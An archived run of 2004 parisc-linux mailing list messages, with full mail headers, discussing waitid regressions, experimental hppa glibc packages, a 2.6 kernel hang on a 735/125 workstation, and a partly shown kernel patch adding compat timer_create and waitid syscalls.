	by free.linux.hp.com (Postfix) with ESMTP id 89EF03BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:15:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CApua-0006UO-00; Fri, 24 Sep 2004 09:14:56 -0400
Content-Disposition: inline
In-Reply-To: <20040924130602.GA16153@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22038

On Fri, Sep 24, 2004 at 02:06:02PM +0100, Matthew Wilcox wrote:
> On Thu, Sep 23, 2004 at 11:55:53PM -0400, Carlos O'Donell wrote:
> > I see waitid regressions in the glibc testsuite. I'm not sure if this
> > had anything to do with these hanging processes. I haven't looked too
> > deeply.
> 
> Possibly it's because we haven't hooked up sys_waitid yet?

It's supposed to fall back and emulate sys_waitid with a couple other
syscalls. Who knows if this emulation is working correctly.

The emualted waitid() cannot handle all the proper modes apparently,
which means things like reaping children is not possible since waitpid()
is used.

I think we definately want to have sys_waitid() connected soon.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hppa glibc 2.3.3 experimental debs - patches posted
Date: Fri, 24 Sep 2004 09:23:23 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040924132313.GU27033@baldric.uwo.ca>
References: <20040924033509.GR27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623572 11197 80.91.229.3 (22 Nov 2014 02:32:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24292 invoked by uid 65534); 24 Sep 2004 13:24:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 24 Sep 2004 15:24:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 08CB93BDF8; Fri, 24 Sep 2004 07:23:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30854-05; Fri, 24 Sep 2004 07:23:40 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 691C73BE23; Fri, 24 Sep 2004 07:23:30 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6FA943BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:23:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30812-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:23:25 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 2EECE3BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:23:25 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CAq2l-0006WI-00; Fri, 24 Sep 2004 09:23:23 -0400
Content-Disposition: inline
In-Reply-To: <20040924033509.GR27033@baldric.uwo.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22039

On Thu, Sep 23, 2004 at 11:35:19PM -0400, Carlos O'Donell wrote:
> http://www.parisc-linux.org/~carlos/glibc-work/glibc-2.3.3-debs-2004-09-23/
> 
> Binary build only. Haven't cleaned up the debian bits to make it
> sourcefull.

Patch against cvs head:

http://www.parisc-linux.org/~carlos/glibc-work/glibc-hppa-patches-2004-09-22.tar.gz

Cheers,
Carlos

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Fri, 24 Sep 2004 15:33:15 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <200409241533.15399.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623573 11198 80.91.229.3 (22 Nov 2014 02:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:53 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4830 invoked by uid 65534); 24 Sep 2004 13:34:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx047) with SMTP; 24 Sep 2004 15:34:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6AF373BE22; Fri, 24 Sep 2004 07:33:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30854-10; Fri, 24 Sep 2004 07:33:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D6DB53BE23; Fri, 24 Sep 2004 07:33:36 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 477583BE1C
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:33:33 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30812-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:33:32 -0600 (MDT)
Original-Received: from mailout06.sul.t-online.com (mailout06.sul.t-online.com
	[194.25.134.19])
	by free.linux.hp.com (Postfix) with ESMTP id E89473BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 07:33:31 -0600 (MDT)
Original-Received: from fwd11.aul.t-online.de by mailout06.sul.t-online.com with smtp 
	id 1CAqCX-0004BQ-01; Fri, 24 Sep 2004 15:33:29 +0200
Original-Received: from ZEUS.lan.pc
	(S+GYXMZdweqEsofmVNdSoY61Dbp2maUzHoz5iAyr4aDHwS7xJ04L6L@[80.144.111.173])
	by fwd11.sul.t-online.com
	with esmtp id 1CAqCK-19O7DE0; Fri, 24 Sep 2004 15:33:16 +0200
User-Agent: KMail/1.7
Content-Disposition: inline
X-ID: S+GYXMZdweqEsofmVNdSoY61Dbp2maUzHoz5iAyr4aDHwS7xJ04L6L
X-TOI-MSGID: 542473a5-f1eb-4d30-ac1a-64be9067cd33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22040

Hi all,

I tried the "official" 2.6.8 Debian-image and 2.6.8.1-pa11-image but none 
worked.
After booting, the message "if this is the last..." about graphic and 
serial-console is printed and after that (I suppose when the kernel tries to 
initialize the framebuffer) the screen turns blue, no HDD-activity anymore, 
the system hangs.
As far as I can see no other messages.
With 2.4.27-pa4 everything is fine.

machine: 735/125
graphics: CRX24
palo-commandline: 2/vmlinux root=/dev/sda6 HOME=/
32-bit kernel

Any clues?

Johannes

-- 
Johannes Raspe - j.raspe@t-online.de
GnuPG-Key ID: D342E105
Fingerprint: D681 F800 FB2D 913E D14C 1F17 C3DB B1F1 D342 E105
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] waitid doesn't work on hppa?
Date: Fri, 24 Sep 2004 09:32:35 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20040924163235.GA22642@tausq.org>
References: <20040924035552.GS27033@baldric.uwo.ca>
	<200409240416.i8O4GKQp026533@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623573 11201 80.91.229.3 (22 Nov 2014 02:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:13 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8591 invoked by uid 65534); 24 Sep 2004 16:33:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx045) with SMTP; 24 Sep 2004 18:33:00 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 261463BE28; Fri, 24 Sep 2004 10:32:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00604-09; Fri, 24 Sep 2004 10:32:51 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id AF8B43BE34; Fri, 24 Sep 2004 10:32:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9447E3BE28
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:32:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 00593-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:32:34 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 5388C3BE27
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Sep 2004 10:32:34 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 8354ACD28A; Fri, 24 Sep 2004 09:32:35 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200409240416.i8O4GKQp026533@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22041

In reference to a message from John David Anglin, dated Sep 24:
> > I see waitid regressions in the glibc testsuite. I'm not sure if this
> > had anything to do with these hanging processes. I haven't looked too
> > deeply.
> 
> This is probably the cause of the expect hangs.  For some reason
> tcl8.3 works better than 8.4.

i don't think expect/tcl uses waitid (not waitpid....)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] compat fixes and a signal si_code bug fix.
Date: Mon, 27 Sep 2004 00:12:22 -0400
Lines: 300
Approved: news@gmane.org
Message-ID: <20040927041221.GM27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623573 11204 80.91.229.3 (22 Nov 2014 02:32:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:32:53 +0000 (UTC)
Cc: Randolph Chung <tausq@debian.org>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:14 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18947 invoked by uid 65534); 27 Sep 2004 04:13:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx022) with SMTP; 27 Sep 2004 06:13:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 722323BDDD; Sun, 26 Sep 2004 22:13:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30548-10; Sun, 26 Sep 2004 22:13:04 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4F9FA3BE4B; Sun, 26 Sep 2004 22:12:31 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED29C3BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:12:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30559-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:12:24 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 5BF283BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:12:24 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CBmsA-0007q6-00; Mon, 27 Sep 2004 00:12:22 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22042


pa,

With the addition of all the extra syscalls we didn't have before
(thanks Matthew), I've been experimenting with an update of
kernel-header, and a glibc rebuild to use the syscalls. A couple of
issues have come forward but they can be fixed, and infact some things
are fixed in the following patch.

---

Fixed a big bug in the compat signal routines, we were copying the
kernel SI_CODE bits down into userspace and this would mean any
program reading si_code's would be confused by the weird code. Given
that siginfo has always been broken, we just continue to make it better :)

---

We need compat for a number of functions in 64-bit compiles:

The following already had compat but are now connected:

	compat_sys_timer_settime
	compat_sys_timer_gettime
	compat_sys_clock_gettime
	compat_sys_clock_getres
	compat_sys_clock_nanosleep

(Truthfully the glibc testsuite shows them failing right now
 after I connected them. Need to fix this now).

The following don't have compat and were just added by this patch:

	compat_sys_timer_create
	compat_sys_waitid

The following function is required for the waitid syscall since it reads
a sigevent from userspace and that requries type conversion.

	compat_copy_sigevent_from_user

---
 include/asm-generic/siginfo.h  |    6 +
 include/linux/compat_siginfo.h |    8 +
 kernel/compat.c                |   49 +++++++++--
 kernel/compat_signal.c         |   42 ++++++++-
 4 files changed, 95 insertions(+), 10 deletions(-)

Index: include/asm-generic/siginfo.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-generic/siginfo.h,v
retrieving revision 1.6
diff -u -p -r1.6 siginfo.h
--- include/asm-generic/siginfo.h	13 Sep 2004 15:24:02 -0000	1.6
+++ include/asm-generic/siginfo.h	27 Sep 2004 03:57:47 -0000
@@ -242,9 +242,13 @@ typedef struct siginfo {
 #define SIGEV_THREAD	2	/* deliver via thread creation */
 #define SIGEV_THREAD_ID 4	/* deliver to thread */
 
+#ifndef __ARCH_SIGEV_PREAMBLE_SIZE
+#define __ARCH_SIGEV_PREAMBLE_SIZE (sizeof(int) * 2 + sizeof(sigval_t))
+#endif
+
 #define SIGEV_MAX_SIZE	64
 #ifndef SIGEV_PAD_SIZE
-#define SIGEV_PAD_SIZE	((SIGEV_MAX_SIZE/sizeof(int)) - 3)
+#define SIGEV_PAD_SIZE	((SIGEV_MAX_SIZE - __ARCH_SIGEV_PREAMBLE_SIZE)/sizeof(int))
 #endif
 
 #ifndef HAVE_ARCH_SIGEVENT_T
Index: include/linux/compat_siginfo.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/linux/compat_siginfo.h,v
retrieving revision 1.5
diff -u -p -r1.5 compat_siginfo.h
--- include/linux/compat_siginfo.h	12 May 2004 23:57:13 -0000	1.5
+++ include/linux/compat_siginfo.h	27 Sep 2004 03:57:47 -0000
@@ -130,9 +130,13 @@ typedef struct compat_siginfo {
  * However, everything is written out here so as to not get lost.
  */
 
+#ifndef __ARCH_SIGEV_COMPAT_PREAMBLE_SIZE
+#define __ARCH_SIGEV_COMPAT_PREAMBLE_SIZE (sizeof(compat_int_t) * 2 + sizeof(compat_sigval_t))
+#endif
+
 #define SIGEV_COMPAT_MAX_SIZE	64
 #ifndef SIGEV_COMPAT_PAD_SIZE
-#define SIGEV_COMPAT_PAD_SIZE	((SIGEV_COMPAT_MAX_SIZE/sizeof(int)) - 3)
+#define SIGEV_COMPAT_PAD_SIZE	((SIGEV_COMPAT_MAX_SIZE - __ARCH_SIGEV_COMPAT_PREAMBLE_SIZE)/sizeof(compat_int_t))
 #endif
 
 #ifndef HAVE_ARCH_COMPAT_SIGEVENT_T
@@ -172,6 +176,8 @@ static inline void compat_copy_siginfo(s
 
 extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct siginfo *from);
 extern int compat_copy_siginfo_from_user(struct siginfo *to, compat_siginfo_t __user *from);
+
+extern int compat_copy_sigevent_from_user(struct sigevent *to, compat_sigevent_t __user *from);
 
 #endif /* CONFIG_COMPAT */
 #endif /* _ASM_GENERIC_COMPAT_SIGINFO_H */
Index: kernel/compat.c
===================================================================
RCS file: /var/cvs/linux-2.6/kernel/compat.c,v
retrieving revision 1.12
diff -u -p -r1.12 compat.c
--- kernel/compat.c	13 Sep 2004 15:24:20 -0000	1.12
+++ kernel/compat.c	27 Sep 2004 03:57:47 -0000
@@ -13,6 +13,7 @@
 
 #include <linux/linkage.h>
 #include <linux/compat.h>
+#include <linux/compat_siginfo.h>
 #include <linux/errno.h>
 #include <linux/time.h>
 #include <linux/signal.h>
@@ -518,7 +519,7 @@ static int put_compat_itimerspec(struct 
 	return 0;
 } 
 
-long compat_timer_settime(timer_t timer_id, int flags, 
+long compat_sys_timer_settime(timer_t timer_id, int flags, 
 			  struct compat_itimerspec __user *new, 
 			  struct compat_itimerspec __user *old)
 { 
@@ -541,7 +542,7 @@ long compat_timer_settime(timer_t timer_
 	return err;
 } 
 
-long compat_timer_gettime(timer_t timer_id,
+long compat_sys_timer_gettime(timer_t timer_id,
 		struct compat_itimerspec __user *setting)
 { 
 	long err;
@@ -558,7 +559,7 @@ long compat_timer_gettime(timer_t timer_
 	return err;
 } 
 
-long compat_clock_settime(clockid_t which_clock,
+long compat_sys_clock_settime(clockid_t which_clock,
 		struct compat_timespec __user *tp)
 {
 	long err;
@@ -575,7 +576,7 @@ long compat_clock_settime(clockid_t whic
 	return err;
 } 
 
-long compat_clock_gettime(clockid_t which_clock,
+long compat_sys_clock_gettime(clockid_t which_clock,
 		struct compat_timespec __user *tp)
 {
 	long err;
@@ -592,7 +593,7 @@ long compat_clock_gettime(clockid_t whic
 	return err;
 } 
 
-long compat_clock_getres(clockid_t which_clock,
+long compat_sys_clock_getres(clockid_t which_clock,
 		struct compat_timespec __user *tp)
 {
 	long err;
@@ -609,7 +610,7 @@ long compat_clock_getres(clockid_t which
 	return err;
 } 
 
-long compat_clock_nanosleep(clockid_t which_clock, int flags,
+long compat_sys_clock_nanosleep(clockid_t which_clock, int flags,
 			    struct compat_timespec __user *rqtp,
 			    struct compat_timespec __user *rmtp)
 {
@@ -634,6 +635,20 @@ long compat_clock_nanosleep(clockid_t wh
 
 /* timer_create is architecture specific because it needs sigevent conversion */
 
+long compat_sys_timer_create(clockid_t which_clock,
+			     compat_sigevent_t __user *timer_event_spec,
+			     compat_timer_t __user * created_timer_id)
+{
+	sigevent_t kevent;
+
+	if (timer_event_spec != NULL)
+		if (compat_copy_sigevent_from_user(&kevent, timer_event_spec) != 0)
+			return -EFAULT;
+
+	return sys_timer_create(which_clock, &kevent, created_timer_id);
+}
+
+
 long compat_get_bitmap(unsigned long *mask, compat_ulong_t __user *umask,
 		       unsigned long bitmap_size)
 {
@@ -714,3 +729,25 @@ long compat_put_bitmap(compat_ulong_t __
 
 	return 0;
 }
+
+asmlinkage int compat_sys_waitid(int which, pid_t pid,
+				 compat_siginfo_t __user *infop, int options)
+{
+  	long ret;
+	siginfo_t ksiginfo;
+	
+	memset(&ksiginfo, 0, sizeof(ksiginfo));
+	ret = sys_waitid(which, pid, &ksiginfo, options);
+
+	if (ret < 0 || ksiginfo.si_signo == 0)
+	  return ret;
+
+	ksiginfo.si_code |= __SI_CHLD;
+	
+	if (compat_copy_siginfo_to_user(infop, &ksiginfo) != 0)
+	  return -EFAULT;
+
+	return 0;
+}
+
+
Index: kernel/compat_signal.c
===================================================================
